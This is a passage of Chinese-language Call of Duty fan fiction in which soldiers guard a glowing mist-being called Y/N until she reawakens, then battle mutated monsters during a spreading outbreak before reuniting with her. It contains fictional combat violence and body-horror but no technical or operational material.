小女孩赤脚站在门槛上,脚趾蜷缩着不敢踩上干净的地板。怀里的蓝雾突然挣出来,在地板上滚出几道发光的轨迹。
Keegan的指尖在小女孩发顶悬停片刻,最终轻轻落下。
“我会时常来检查菜园。”他顿了顿,看着窝在沙发里的那团蓝雾。
“那位姐姐,也一定会来。”
装甲车重新驶入夜色,Konig的臂弯里稳稳抱着那团蓝雾,眼底的笑意比车灯还亮,Y/N终于又回到他怀里。
即便怀中的Y/N只是一团朦胧的光雾,他也像捧着珍宝般小心翼翼,指尖时不时轻拂过雾气的边缘,仿佛在确认她的存在。
午夜时分,他们途经一座沉睡的小镇。石板路在车轮下发出细微的声响,Nikto不动声色地将车速降到最低,生怕惊醒这份宁静。
Ghost推开车门时,街角最后一家咖啡店的老板正要拉下卷帘门。暖黄的光从门缝漏出来,在潮湿的砖地上拖出一道细长的金线。
“老板,有热可可吗?”
红发女人从后厨探出身,抹布还搭在肩上。她瞳孔微微放大,门口杵着个戴骷髅面罩的高大男人,黑色卫衣下隐约露出战术腰带的轮廓。
“有.…有的,”她下意识擦了擦手,“带走还是在这喝?”
“整罐卖吗。”
那个沉默的男人往桌上拍了三张纸币,握着她捧过去可可粉罐离开了。
“祝你好运。”
装甲车门关上的瞬间,她分明看到,后排有一团幽蓝的光正想窜出来,而驾驶座的人居然戴着全封闭式黑色面甲。
车尾灯消失在街角后,赛琳娜耸耸肩,把“押送外星人的骷髅男超量购买可可粉”记在了今日怪谈清单上。
装甲车在路上颠簸数日,车内的氛围早已从最初的死寂,渐渐被那团蓝雾偶尔的脉动所温暖。
当轮胎终于碾过那片熟悉的山林落叶时,蓝雾却忽然熄灭了光芒,如同一盏耗尽的灯。但奇怪的是,没有人慌乱。
Konig轻轻拢住不再发光的雾气,声音低得像是怕惊扰一场美梦,“她只是睡着了。”
他们默契地选了一处背风的山坳扎营。Krueger利落地劈柴生火,Ghost和Keegan沉默地架起简易帐篷,Nikto则始终站在视野最开阔的位置警戒。
夜幕降临,篝火噼啪作响。Konig盘腿坐在中央,将那团安静的雾气护在掌心与胸膛之间,像守着一簇随时可能复燃的星火。
可始终没有动静。
Krueger猛地踢飞脚边的碎石,作战靴在火光中扬起一片尘土。“操!”他暴躁地扯了扯头罩,“我们他妈要等到什么时候,干坐着等奇迹?”
Nikto像山影般无声站起,手指擦过腰间匕首。两人视线在空气中相撞的刹那,这个斯拉夫巨汉已经转身没入丛林,只有几片被碰落的树叶缓缓飘落。
“哈!”Krueger发出标志性的冷笑,突然朝反方向冲去。他灵活地跃过倒木,像头真正生活在这片区域的动物般在密林中撕开道路。
他以为他是谁啊,一条爬虫而以,整座山似乎都成了他们较量的猎场。
篝火旁,Ghost用猎刀削着树枝,“赌二十发子弹?”他朝Keegan抬抬下巴。
Keegan看着Konig怀里那团微弱的雾气,“我押Nikto。”
Keegan用指节轻叩下巴,目光落在那团微弱的蓝雾上。
“或许,需要找到特定的地点?就像钥匙和锁。”
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Ghost点头,视线扫过黑黢黢的山林,“范围太大,分头找。”
他转向Konig,声音不容置疑,“你跟我。把Y/N给Keegan。”
Konig的嘴角垮了下来,却还是将蓝雾移交。他的动作慢得像在交接易碎的玻璃工艺品,交出去后仍不住回头张望,跟个舍不得孩的宝爹似的。
Keegan小心翼翼接过那团蓝雾,雾气在他掌心轻轻浮动,仿佛在不安地呼吸。
Ghost已经利落地检查完弹匣,朝林间抬了抬下巴。
“东南方向,标记树皮。”他顿了顿,瞥了眼魂不守舍的Konig,“别看了,她比你安全。”
Konig磨磨蹭蹭地跟上,每走几步就要回头张望,作战靴不断绊到树根。
Ghost终于忍无可忍,一把揪住他的背带。“再走神就把你眼珠子挖出来当标记。”
Ghost的步子碾碎湖畔的枯枝,月光在湖面碎成千万片银箔。
他俯身捻起一撮泥土,白鹿的蹄印还带着湿润的痕迹,像一串发光的苔藓,没入山林最幽暗的褶皱。
当林叶突然分开,苍天巨树撞进视野时,连Ghost这样见惯生死的老兵,都僵住了握枪的手。
树冠遮蔽了整片星空,垂落的藤蔓在无风状态下自行摇曳。
“全员,坐标标记。跟着荧光记号。”声音里罕见地带着一丝紧绷。
众人循着Ghost在树干上刻下的磷光记号汇聚而来,却在看清那棵树的瞬间集体失语。
二十米高的树干上盘踞着蛇鳞状的树皮,每一片鳞隙里都渗出幽蓝的树脂。
苍劲的树枝上,悬挂着无数褪色的祈愿带,像垂落的古老符咒。那些泛黄的风铃,在无风的山谷中自行摇曳,铜舌碰撞出空灵的声响。
就在这一刻。
Konig怀中的蓝雾突然迸发出耀眼的光芒,如同被唤醒的星辰。
整棵古树随之共鸣,树干的纹路逐一亮起,幽蓝的光脉从树根一直流淌到树梢,仿佛整座山林都在呼吸。
“就是这里.….”Keegan的声音轻得几乎听不见。
他们将Y/N放入那中空的树心里,那里头铺满了某种蓝盈莹的菌类,正随着Y/N的脉动频率明灭。
树洞外,众人各自占据一方。
Krueger的匕首在指间翻飞,划出银亮的弧光。
“嘿,记得那个化学家说的空间裂缝吗?还有那个戴黄金面具的怪胎.…”他真的很兴奋,这世界终于他妈的有趣起来了。
Keegan皱眉。他太了解这个疯子了,那发亮的瞳孔里哪有半分对这个世界的忧虑?
只有猎手嗅到血腥味的兴奋。但Keegan却忍不住攥紧拳头,如果规则真的崩塌,他们应该怎么做。
Konig的耳朵早已自动过滤了他们的对话。每隔一小时,他精准地数着秒,就会像上了发条般冲向树洞。
“怎么…还是…没变化.….”第五次查看时,他的额头抵在树皮上喃喃自语。
篝火另一侧,Nikto像一尊黑色雕塑。火焰在他面甲上投下流动的血色,连呼吸时肩膀的起伏都近乎于无。
偶尔有火星爆裂的噼啪声,他便微微偏头,像毒蛇感知到猎物振动时的警觉。
Keegan扔了块饼干过去。
Nikto接住,捏碎,撒进火堆。升起的焦糖味里,他的面甲终于转向树洞方向,那里正传来Konig第数次扒开苔藓的窸窣声。
Ghost的声音低沉,在火光中沉沉落下。
“Price已经在查了,Omega计划确实存在过。”
篝火突然噼啪炸响,映得他骷髅面罩上的阴影诡谲地跳动,“但有人把它从历史上整个抹去了,连灰烬都没剩下。”
Krueger突然吹了个口哨,“所以我们现在要玩真人版《X档案》了?”
但没人接话,只有山风卷着火星掠过树洞,那里正隐约透出微弱的蓝光。
30. 自娱自乐
黎明前的寒气渗入骨髓,Ghost看了眼毫无动静的树洞,又瞥向通讯器上已经闪烁了无数次的紧急命令。
他们在这里已经一个月了。
“我们得走了。”他收起配枪,声音低哑得过分。
Keegan也一样收到了立即归队的命令。他默默整理好装备,最后望了一眼树洞。
蓝雾依然安详地悬浮其中,仿佛与古树达成了某种默契。
那三个PMC的雇佣兵当然也收到了指挥链的命令。
但Krueger正用匕首在树干上刻着涂鸦,Nikto像块黑铁守在洞口,Konig则完全沉浸在随时检查Y/N状态的偏执里。
各有各的疯劲,根本不听PMC的指挥。
“他们三个。”Keegan拉紧战术背心,“会守到世界末日。”
Ghost已经走出十米远,背影在雾气中像柄出鞘的军刀。他当然知道,正因如此,才能放心把Y/N留给这群疯子。
Konig结结巴巴地追上前两步,战术手套揪紧了胸前的装备带。
“等.…等她醒了...我立刻通知你们!”
Ghost突然转身,皮革手套在他手臂上重重一按。这个简单的动作让Konig瞬间僵直得像被教官点名的新兵。
面罩下传来难得带着温度的声音,“任务完成得好,我会亲自向Price推荐你加入141。”
“真.…真的?我...我一定.…”
Konig的声音卡在喉咙里,手指无意识地摩挲着刚刚被触碰的臂章位置。
Keegan面罩下的嘴角微微上扬,他瞥了眼Ghost。
141特勤队据点。
Price的雪茄烟灰在沉默中积了半寸长,灰白胡茬间的皱纹像被刀刻得更深。
Ghost立在长桌前。老家伙这副模样,意味着铁幕背后已经烧起看不见的火。
“马卡洛夫也人间蒸发了。”Price突然喷出口烟,文件上那处矿洞照片的封锁带在烟雾中扭曲,“他那个老鼠洞十天前被当局焊死,但.…”
烟头重重摁在照片边缘,烧穿那群穿防护服的研究员合影。
“接触过矿渣的十二人,基因链出现不明断裂,目前无症状,全被塞在爱达荷的地下实验室。”
他抬头时眼白泛着血丝,“上面连个屁都不放了。”
骷髅面具下的眼里映出文件上那些突变基因的螺旋图像,三秒静默后,Ghost的嗓音沉如锈铁。
“说明那个什么鬼裂缝已经开了。”他指节叩响桌沿,“Price,我们不能等命令再做准备。”
Price突然绕过长桌,作战靴砸地声里带起一阵风。那记拍肩重重压在Ghost身上。
“这就是我拽你回来的原因,兄弟。”
Keegan这头和Merrick也在谈论同样的事情,Keegan的声音在密闭的宿舍里显得格外清晰。
“Ghost那边已经确认了,但最棘手的是。”
他调出一段监控录像,画面里穿着防护服的研究员正被押送进装甲车,
“所有知情者都在被系统性隔离。情况比我们想的更麻烦。上面到底想掩盖什么?或者说,他们也在害怕什么?”
Merrick双臂交叉,作战服下的肌肉线条绷紧如弓弦。
“不是害怕,是失控。Ghost说得对,裂缝已经开了。我们得做好准备,在他们决定把我们所有人隔离之前。”
Keegan沉默片刻,“至少现在,我们和141站在同一条船上。”
Merrick的呼吸微滞。两人对视一眼,无需言语便达成共识。
“那就别等船沉。”
山林深处,时间仿佛凝固。
Nikto像条黑蛇似的缠在树杈上,眼睛在面甲后面时眯时睁。
Krueger天天在林子里转悠,时不时带回些浆果野味,Konig则跟头守洞的熊没两样,那么大块头硬是缩在树洞前,连打盹时都摆着个护卫的架势。
他们几乎忘记了外界的纷争。
直到某个黄昏,所有通讯设备同时发出刺耳的电流杂音,最后一条由Ghost发来的破碎信号强行挤入。
【紧急.…远离Y/N...矿洞接触者...异变威胁....重复...立即撤离...】
信号戛然而止。
Krueger一把扯紧头罩,指节捏得发白,“Verdammt!(该死的!)
他踹飞脚边的碎石,装备碰撞声像骤雨般炸响,三十秒内已完成全部战备自检。
最后回头的那一眼,他朝远方比了个粗鲁的手势。不知是给谁的诅咒,还是给自己的警告。
Nikto从两米高的树杈垂直落地,他静静凝视树洞中那个渐显人形的蓝影。
粗布头套被Konig扯出裂帛声。他突然开始疯狂拍打自己的太阳穴,仿佛要把潜伏的危险都给震出来。
Krueger的脚步声是最先消失的。他离开时像一阵暴烈的风,作战靴碾碎沿途的枯枝,连告别都带着火药味。
Nikto的离去如同蛇类褪皮,悄无声息。只是某次晨雾弥漫时,他惯常栖息的树枝突然空了。
而Konig是最后一个走的。
他在树洞前堆满亲手采摘的浆果,黎明前最黑暗的时刻,这个总爱哭的巨人突然开始狂奔,粗布头套被树枝扯破也浑然不觉。
蓝雾在树洞里轻轻翻涌,凝成几根纤细的光丝,朝着几个不同方向延伸。
又缓缓消散。
春去秋来,山林外的世界发生了天翻地覆的变化,唯独这片土地,似乎还仍保持着封存的姿态。
当第一缕月光穿透古木的缝隙时,树洞里的蓝雾突然停止了光的流转。
雾气开始缓慢
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旋转,像被无形的指尖搅动,逐渐勾勒出一道模糊的人形轮廓。
最先成型的是指尖,半透明的蓝色光晕凝聚成修长的手指,轻轻触碰着树洞的内壁。古老的树皮在接触的瞬间亮起幽光,仿佛在回应。
接着是面容。
Y/N缓缓睁开眼睛,瞳孔里还残留着星芒般的碎光。她低头看向自己的手掌,苔藓覆盖在皮肤上面,隐约有流光浮动,又很快隐没。
树洞外,风突然停了。
悬挂的古老风铃无声垂落,褪色的祈福带轻轻搭在她的肩头,像一句迟来的问候。
两辆焊满钢板的装甲车,正咆哮着碾过灌木,朝她这头的方向飞驰而来。
车窗不断爆出枪焰与榴弹的钝光,将沿途撕成碎片。
“ScheiBe!!没完没了了是吧!这些鬼东西,等着老子把你们的皮剥光!Zum Teufel!(见鬼去吧)”
Krueger眼里冒着杀戮的光,即暴躁又兴奋,他半个身子探出天窗,冲锋木仓管烧得发红,瞥了眼另一头的Nikto。
“来,臭蜥蜴,我们看看谁杀死的多。”
Nikto右手还摸着方向盘,左手收起木仓,直接从腰间扔出去个自制的化学炸弹,
“你他妈玩阴的?!”Krueger的怒骂混着爆炸的闷响在装甲车厢里震荡。
Price的雪茄烟灰被气流卷成火星,他半个身子悬在车顶,冲锋木仓抵肩震落滚烫的弹壳。
“Soap左翼盲区!Ghost右后火力覆盖!Konig!你动得老子瞄准镜都在晃!”
后面的车里,Hesh紧紧握着方向盘,死盯着前面那辆,在激烈战况中还保持纹丝不动的轨迹。
“他到底怎么开这么稳的?这他妈是履带还是轮胎?!”
Logan的枪管从射击孔撤回,滚烫的弹壳弹在Hesh后颈,“好好开你的,别叨叨。”
Merrick蹲踞在装甲板后方,改装榴弹木仓的转轮发出钟表般的咔嗒声。
上方车顶,Keegan绷紧身躯。狙击木仓在连续射击,弹壳顺着倾斜的装甲板滚落。
Keegan的后背突然传来一阵细微的震颤。小女孩不知何时已贴在他背后,扣着复合弓弦。
十米外传来利物入肉的闷响,某个扑来的黑影应声倒地。
Hesh从后视镜瞥见坠落的黑影,吹了声口哨,“小鬼,厉害啊。”
Y/N从树洞走出来后,Y轻盈地跃上枝头,树影婆娑间,她的目光忽然凝滞。
那堆早已熄灭的篝火化作焦黑印记,四周的石块被磨得发亮,仿佛曾被无数次倚靠。
腐烂的野果渗出暗紫色浆汁,而那个歪倒的罐子里,棕褐色粉末依然散发着若有若无的香甜。
她的指尖悬在罐口上方,突然僵住。
林间穿过的风里,依稀还裹着硝烟,血液与未说完的话。
31. 自娱自乐[番外]
半年前,世界骤变。
北半球,那片终年被冰雪封锁的古老火山遗迹。一座本应沉寂千万年的死火山,毫无预兆地喷发了。
炽红的岩浆撕裂冰层,喷涌而出,但更诡异的是漫天飘散的火山灰。灰烬中闪烁着星星点点的幽蓝光芒,像某种活物般在空气中浮动、蔓延。
与此同时,爱达荷地下实验室里,那十二名曾深入矿洞的研究员,在被隔离观察一个月后,突然集体异变。
最初,他们以为只是身体不适。
逐渐,皮肤开始溃烂,血管凸起,泛着诡异的幽光,仿佛皮下有什么东西在蠕动。
痛苦撕扯着每一寸神经,却连惨叫都发不出,声带早已扭曲变形。
紧接着,眼球溶解,理智崩塌。
骨骼发出令人牙酸的错位声,关节反向弯曲,肢体以非人的角度扭曲着。
他们爬行,跳跃,动作流畅得不像人类,更像是某种被重新拼凑的生物。
但研究所的人选择了沉默。
没人敢承担这样的责任。更何况,他们足够傲慢,认为自己能控制局面。
实在不行,最后抹杀掉这群人就是了。
所有人都以为,异变最严重也不过如此。
直到其中一个变种突然暴起。
它的头部裂开,从内翻出口器状的吞噬器官,脊椎骨扭曲变形,化作发着幽蓝光芒的能量导管。
剧毒气体被投下,却毫无作用。它甚至开始吞噬周围的异变者,血肉交融,化作一团恶心的融合体。
但无论怎么异变,它们身上始终有一点光亮闪烁。
像是某种核心。
地下实验室彻底沦陷。
在负责人按下自毁按钮的前一秒,他颤抖着将最后的数据传给了军方。
当141特遣队和幽灵小队赶到塌陷的实验室时,现场只剩下一地死透的怪物。
Ghost和Keegan对视一眼,彼此眼中都闪过警觉。
军方迅速封锁现场,将尸体运回检测。初步报告显示,所有异变者体内都被某种未知寄生物质侵蚀,组织样本呈现诡异的晶体化。
但二人藏了一手。他们没上交化学家的硬盘,知道内情的只有小队核心成员。
然而,Price通过特殊渠道拿到了异变者的物质分析数据,结果令人毛骨悚然。
“和以太的读数一致,还有Y/N血液里的东西。”
Keegan脸色骤变,猛地抓住Ghost的手臂。
“我们都接触过这玩意儿,Konig他们也是!必须立刻让他们远离Y/N!”
Ghost的反应更快,他直接切进加密频道,可通讯设备突然爆出一阵刺耳杂音,信号被干扰了。
“所有人立即撤离!紧急远离Y/N!矿洞接触者存在异变风险!重复,这不是演习!”
Merrick神情凝重地拦住他们,“你们也得隔离,包括当时在场的所有人。”
两个月后,隔离解除。
Keegan,Konig,Krueger,Nikto和Ghost一行人被反复检测,但结果令人困惑。
他们的血液,基因链毫无异常,与那些疯狂异变的研究员完全不同。
军方最终放人,毕竟他们是顶尖战力,而这件事似乎也平息了下来。
“那……那我现在就要回去找Y/N!”
Konig几乎要原地踏步起来,隔离刚结束,他恨不得直接飞回Y/N身边。
两个月的煎熬让他焦躁不安,生怕她醒来时身边空无一人。
Krueger懒洋洋地揉着后颈,嗓音黏腻带刺。
“我也去。总不能让我家小猫一睁眼就看见你这头猩猩吧?”
Konig的粗麻布下传来一阵急促的换气声,手指无意识地攥紧又松开。
“你……你闭嘴……不会说人话……就……就别说了……”
Krueger嗤笑一声,故意模仿他结巴的语调。
“哈,现在倒挺狂啊,怪、怪、怪胎。话都说不利索,回去洗洗睡吧。”
站在阴影中的Nikto冷眼旁观,黑色面甲下的目光扫过两人,转身就要离开。
一辆改装军用越野猛地刹停在他们面前,轮胎碾起一片碎石。
Soap一把降下车窗,冲Ghost喊道,“赶紧上车!你们这群幸运的怪物。Keegan,你不用回去归队,你们的人已经跟141汇合了。”
他的目光扫到阴影中的Nikto,咧嘴一笑,“把那个黑漆漆的家伙也拽上来!别让他又溜了。”
Ghost和Keegan的指节在战术手套下微微发紧。
他们和Konig一样想立刻冲到Y/N身边,但根植骨髓的纪律性像一道铁闸,硬生生压住了这份冲动。
责任永远优先,这是刻进他们DNA里的本能。
141据点的作战室里。
Price的军靴在金属地板上叩出沉闷的节奏,雪茄的青烟在他周身缠绕成一道焦躁的雾帘。
所有知情者都沉默地站在周围,空气凝固得能听见每一个面罩的换气声。
Krueger是唯一的例外。他像没骨头似的歪在墙角,手套指尖相互摩挲着,面罩下的目光不知落在虚空中的哪一点。
Nikto则像往常那样嵌在阴影里,连呼吸频率都近乎消失,要不是夜视仪偶尔闪过的微光,简直像尊漆黑的雕塑。
令人意外的是Konig。
这个总把自己裹成茧子的巨人,自从被141半收编后,在Price面前竟站得比新兵还笔直。
Ghost最先开口的,他抬手按住长桌边缘。
“别再晃了,Price。直说吧,究竟糟到什么程度?”
Price的雪茄灰簌簌落在军靴边。
“高层把事件列为黑标机密,”他吐出烟圈,像在吐出一口铁渣。
“公开否认所有异变者存在。常规部队甚至没收到任何危害预警。”
Keegan的战术手套突然发出绷紧的吱响。
“还有更糟的。”
Price指了指桌上作战地图的红圈标记。
“那些异变体尸首全消失了。我托老战友查到,它们被运往了某个秘密军事基地。上面重启了Omega计划。”
“他们疯了吗?!”Keegan猛然抬高音调。Merrick一把按住他的肩膀拍了拍,示意他冷静。
Price呼出的烟雾空中扭曲成漩涡。
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“上周起,整个基地从所有频道消失了。”
靠在墙角的Krueger突然绷直了身体,像嗅到血腥味的狼。“被感染了?还是沦陷了。”
当这句话从他面罩里滑出来时,Ghost的指节正无意识摩挲着面罩边缘,Soap知道,这是他罕见的焦虑信号。
Price把烟头狠狠按灭在地图上,烧穿了那片标着基地的位置。
“先生们,”他抬起布满血丝的眼睛,“我们可能要替全人类打最后一场仗了。”
他们从秘密基地撤回来时,所有人都沉默着。没人开口,但彼此的眼神已经说明了一切,他们亲眼见到了地狱。
基地里只剩下碎肉。
没有尸体,没有活人,只有黏腻的、被撕扯过的血肉残渣,像被什么东西舔舐过一样。
所有人都被感染了。
所有人都逃走了。
事态彻底失控。
当局终于撕下伪装,紧急发布全国通告,军队进驻每座城市,枪口对准的不再是敌人,而是可能已经变异的平民。
但一切已经太迟。
那座沉寂千年的死火山,毫无预兆地再次爆发。
而这一次,喷涌而出的不再是岩浆。
幽蓝色的物质,像瘟疫一般,开始吞噬整个世界。
他们必须找到Y/N。因为现在,她可能是唯一能解释这一切的人。
甚至,是唯一能阻止这一切的人。
但最令人不安的,是那个挥之不去的疑问。
为什么她不一样?
当她失控时,血管里奔涌的狂暴与那些怪物如出一辙。
嘶吼,撕扯,攻击一切靠近的活物。
可那些异变体只会遵循本能,像饥饿的野兽般不断猎杀、吞噬、融合......
而Y/N......
她会停下来。
Ghost记得她蜷缩在角落的样子,记得她因疼痛时落下的泪和呜咽。
他们流着同样的血。那为什么只有她,还能像个“人”?
而他们,也想她。
Ghost看着远处城镇上空的黑烟,指节拂过作战服的布料。
那晚温泉蒸腾的雾气里,Y/N半融化的人性曾短暂地贴向他。那段未完成的温存,算什么,是贪恋他的体温,还是存有别的意思。
但不管有没有,她都别想逃,也别想用无所谓的样子糊弄过去,他不会再给她这个机会。
Keegan反复检查弹匣里的子弹,他看了眼坐在一旁整理箭矢的小女孩,面罩下扬起淡淡的笑意。
他多想让Y/N看看,那个她喜欢的小姑娘现在已经能自保了。这话在喉头滚了半年,都快烧出个洞来。
Krueger歪在装甲车角落,扯着战术手套的破口,他盯着自己曾尝过她味道的指尖。
这世界要是真彻底完蛋了,他倒要看看,她究竟要选谁当同行者。不过这也不重要,因为她没有选择权。
Konig整个人裹在脏兮兮的狙击披风里,兜帽边缘沾着干涸的血渍和火药残渣。
布料下肌肉因回忆绷紧。他记得她后颈皮肤的温度,记得亲吻她时自己疯狂的心跳。
如果这次,能再近一寸,多好。
32. 自娱自乐[番外]
Y/N并非遗忘了所有记忆,只是初醒时大脑仿佛新生,需要时间慢慢复苏。
直到看见营地残留的痕迹,记忆才渐次涌了上来。
她如何与那群男人相识结盟,如何生出难以言喻的羁绊,又如何在某个瞬间杀意骤起,最终沦入混沌的深渊。
她舔了舔唇边的可可粉,心想,至少这次从树洞中醒来,记忆完好无损,甚至对周遭的一切,似乎有了全新的感知。
从前,她看这些树,草,动物,只会思考它们是什么,他们在做什么。
而现在,她忽然意识到,自己有了“我”。
这种奇妙的感觉让Y/N肚子里像有小虫在爬,嘴角不自觉地上扬,整个人都暖融融的。
她迫不及待想找人分享这份心情,于是坐在那处荒废的营地里等了很久。
人呢?都去哪儿了?难道把她送回来后就离开了吗?
突然,肚子里的小虫似乎钻进了鼻子,酸酸的。
没关系,那她去找他们就好了,反正不是在那处安全屋就是在141,这次她可记清楚了。
Y/N蹦蹦跳跳地下了山。
山外是一望无际的平原,这地方本就位于东方深处,只要穿过前面的密林,再越过一片冰雪地带,就能到他们的地盘了。
想了想,也不算远,干脆溜达着去吧。又低头看了眼光溜溜的自己,还是先找个地方弄件衣服穿。
现在的她,已经被他们养出了讲究的习惯。
然而,眼前的景象却让Y/N愣了愣。她去过一座小镇,也见过废墟,但绝不该是现在这副模样。
房屋尽毁,血迹斑驳,街道上空无一人。
Y/N只愣了一小会儿,又蹦蹦跳跳地往最近的服装店跑去。她在店里挑挑拣拣,最后套上了一件连帽衫。
刚走出来,突然听到不远处有动静。她轻盈地跃上屋檐,远远看见一道人影,立刻纵身跳了过去。
“这里怎么了?”她站在那人身后问道。
可对方像是没听见似的,依旧慢吞吞地往前走。Y/N伸手拍了拍他的肩膀。
啪的一声,那人的后脑勺突然裂开,一根尖锐的口器猛地探出!
Y/N瞬间闪身躲开。奇怪的是,那怪物突然僵在原地,并没有继续攻击。口器缓缓缩回脑袋里,又恢复了慢悠悠的步子。
Y/N歪着头站在原地,眉头轻轻皱起。这是什么?她从未见过这样的东西。
她绕到那人面前,一边倒着走一边仔细观察。那张脸已经完全腐烂,看不出原本的模样。就像她当初被毒气腐蚀的样子。
Y/N猛地打了个寒颤,泪水不受控制地涌了出来。那种剧痛至今记忆犹新,太疼了,疼得让人发疯!
那个黄金面具的男人,还有那个马卡洛夫,她发誓一定要亲手杀了他们!
不过,Y/N只生了五秒钟的气,很快又恢复平常。现在她只想快点找到他们,他们还记得她吗?
会不会时间已经过去太久,他们都变成白发苍苍的老头子,甚至已经死了?
她曾经想过,要让他们和自己一样获得永生。但现在会不会太迟了?
不行,她必须抓紧时间,他们的生命流逝速度和她可不一样。
装甲车在荒野上疾驰,终于冲出了那片尸横遍野的区域。
Keegan收起狙击枪,从车顶窗口缩回身子,拍了拍Hesh的椅背,
“还有多远?”
Hesh扫了眼导航:“快了,翻过前面那座山就出境了。”
Logan突然出声:“你有没有想过,她会不会也变成了那种….”
“不可能。”Keegan当机立断的说,但小女孩敏锐注意到,男人握枪的手微乎其微地颤抖了一下。
打头的装甲车里,骷髅面具下的视线直直锁定远处山脉,快了。
Price半个身子还探在车顶外,雪茄咬在嘴角。
底下Soap边擦枪管边喊,“少抽点吧,Boss!”
“怎么?你也想来一根?”Price挑眉。
Soap咧嘴一笑,“谢了老大!”
Krueger靠在座椅上,匕首在木块上灵巧游走,渐渐削出人形轮廓。
Konig和Ghost一样,凝视着远山,嘴里碎碎念着。
“Y/N.….我们来了.…你一定要好好的...我...我们…..”
夜幕低垂,车队始终未曾停歇。直到Price一声令下,两辆装甲车才在一片开阔地带熄火休整。
“全员休息四小时。”
Price咬着雪茄跳下车,作战靴碾过碎石发出脆响,“天亮前继续赶路。”
Soap正往篝火里添柴,火星噼啪炸开映亮他沾着机油的脸。
Krueger还在雕着那块木头,人形轮廓已清晰可见,是个女孩模样。Konig抱着木仓靠在轮胎旁,目光始终没离开过山脉方向。
Ghost突然抬手示意噤声,夜视仪泛着幽光,“有情况。”
话音刚落,黑暗中骤然传来骨骼错位的咔咔声,十几个扭曲的身影,正从四面八方涌来。
那些异变体的关节反转,皮肤像融化的蜡般剥落,露出肌肉组织。
最前排的怪物突然加速,撕裂的嘴角一直咧到耳根。
“敌袭!全员战斗配置!”Price的怒吼划破夜空,木仓上膛声清脆响起。
Soap一个翻滚,霰弹木仓轰碎了扑来的异变体头颅,“Bloody hell!这些家伙比白天更快了!”
Merrick和Nikto的火力网瞬间交织成死亡屏障,Logan与Hesh的精准点射专挑关节缝隙。
但真正致命的杀戮来自阴影处,Ghost像一缕未凝实的夜色,游走在边缘,消音木仓每次轻响都精准贯穿太阳穴。
Keegan的狙击木仓架在车顶,子弹接连穿透两个目标的眉心。
当异变体群突破防线时,他突然跃入敌阵,军刺在指间翻飞,每道寒光都精准挑断怪物的活动能力。
Krueger的匕首本还插在未完成的木雕上。直接抄起□□掷向异变群,火焰中身影猛然突进,戴着指虎的重拳将怪物颅骨砸得凹陷。
他瞥了眼被碾碎的木雕,拳锋更加暴戾。
Konig的机木仓扫射看似狂野,实则每串子弹都卡着异变体扑咬的节奏。
当弹链打空,这个巨人索性抡起木仓托砸碎面前怪物的脑袋,喘着粗气念叨。
“不能死.…Y/N在等...”又突然暴起,拧断偷袭者的脖子,沾血的面罩下响起压抑的呜咽。
异变体的数量似乎无穷无尽,腐臭的躯体如潮水般从四面八方涌来,逐渐形成合围之势。
Price的怒吼在无线电中炸响,“上车!环形防御阵型!”
装甲车的引擎发出咆哮,众人迅速撤回车内。Ghost最后一个翻身跃进车厢,顺手甩出两颗破片手雷。
轰!
爆炸的火光暂时清出一片真空地带。
Keegan从射击孔里露出木仓管,每一发子弹都精准穿透怪物眼眶。男人的呼吸平稳得可怕,仿佛只是在打靶练习。
“还剩27发。”他冷静报数。
Krueger悍戾地扯开弹药箱,给轻机木仓换上□□链。火舌喷吐间,他狞笑着将扑上挡风玻璃的异变体烧成焦炭。
“来啊杂种们!”断裂的木雕不知何时又被他塞回战术背心。
重机枪在车厢内震耳欲聋地咆哮,弹壳如雨点般砸落。
Konig的麻布套被硝烟熏黑,却仍固执地面朝山脉方向射击,仿佛要硬生生撕开一条通往Y/N的血路。
装甲车已经被密密麻麻的异变体死死围住,轮胎在血肉中徒劳空转。
Price猛砸方向盘,“该死!碾不出去!”
就在这时,砰!车顶传来响动。
紧接着,猩红的液体暴雨般泼洒开来,血浆糊满了所有车窗。车内瞬间陷入一片暗红。
Soap的木仓已经对准了车顶。
所有人都屏住了呼吸,手指扣在扳机上。
Konig的机木仓发出咔的上膛声,Ghost的匕首无声出鞘,有什么比异变体更可怕的东西,来了。
然而下一秒,一个熟悉的声音透过钢板传来。
“我找了你们好久。”
挡风玻璃上的血幕被一只纤细的手掌唰地抹开。
Y/N倒挂的脸,突然出现在所有人视野里,眼角还沾着新鲜的血迹,笑容灿烂。
Price嘴里的雪茄掉在了□□上。
“仙女教母?!”Soap猛地扒着玻璃,他鼻尖几乎撞上窗面。
Konig的机枪哐啷坠地,一座小山蜷缩起来,头套下传来幼犬似的呜咽。
他颤抖的手在玻璃上抹出几道血痕,想要穿透钢板去确认那不是幻觉。
Krueger愣住了,然后立刻拽开舱门保险栓,指虎上还滴着异变体的脑浆。
而那个永远冷静的男人,已控制不住手的颤动,揉向眉心。Keegan确认自己不是做梦,血从头盔淌进眼里都顾不上擦。
小女孩第一个冲了出去,瘦小的身影几乎撞进Y/N怀里。
她死死抱住对方,小脸埋在那件沾血的连帽衫上。
她知道,自己能活到现在,能有个栖身之所,甚至能跟着这群狠人混,全都是因为眼前这个人。
这半年来,她每晚都听着这群男人在篝火边念叨Y/N的名字入睡。
那些故事里有雪山,有木仓火,有比现在更疯狂的时日。
而她更不会忘记,那年寒冬,要不是Y/N塞给她的那包食物,她或许早就成了冻硬的尸体。
第二个现身的是Nikto,静立在几步之外,那双常年冰冷的眼亮得骇人。他像条蓄势待发的毒蛇,肌肉线条在作战服下绷紧。
而那群素来杀伐决断的男人,此刻竟都僵在原地。
Krueger
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虽说是第一个冲出车的,却像被钉在车旁,他眼前又浮现出当时的画面。
那只遍体鳞伤的小猫,比他在屠宰场里肢解过的任何猎物都要支离破碎,比他在□□时期处决的叛徒都要惨烈千万倍。
Konig起初只是小心翼翼地挪动,像个笨拙的玩偶。
可随着距离缩短,步伐越来越快,最后几乎是踉跄着扑到她面前。
“Y/N......”
粗麻布下的声音哽咽得变形,泪水早已浸透了布料,“你...你还...认得我吗?”
小女孩识趣地松开怀抱,转身跑去后面那辆车里拉Keegan。
“小熊!“Y/N突然踮起脚尖,双手高高举起,“我怎么会忘记你呢?”
Konig再也克制不住,一把将她举到半空。这个两米多高的壮汉像抱着失而复得的珍宝,毛茸茸的脑袋深深埋进她颈窝来回磨蹭。
滚烫的泪顺着流进她衣领,在锁骨处积成小小的水洼。
Keegan被小女孩硬拽到Y/N面前,高大的身影像生了根似的定在原地。
领口间那道弧度上下滑动,才慢慢从干涩的嗓子里挤出一句。
“你还好吗?”
Y/N从Konig怀里轻巧跳下,窜到Keegan跟前。
她牢牢握住那只大手,踮着脚尖望进他眼底。
“我很好,很想你。你好吗?”
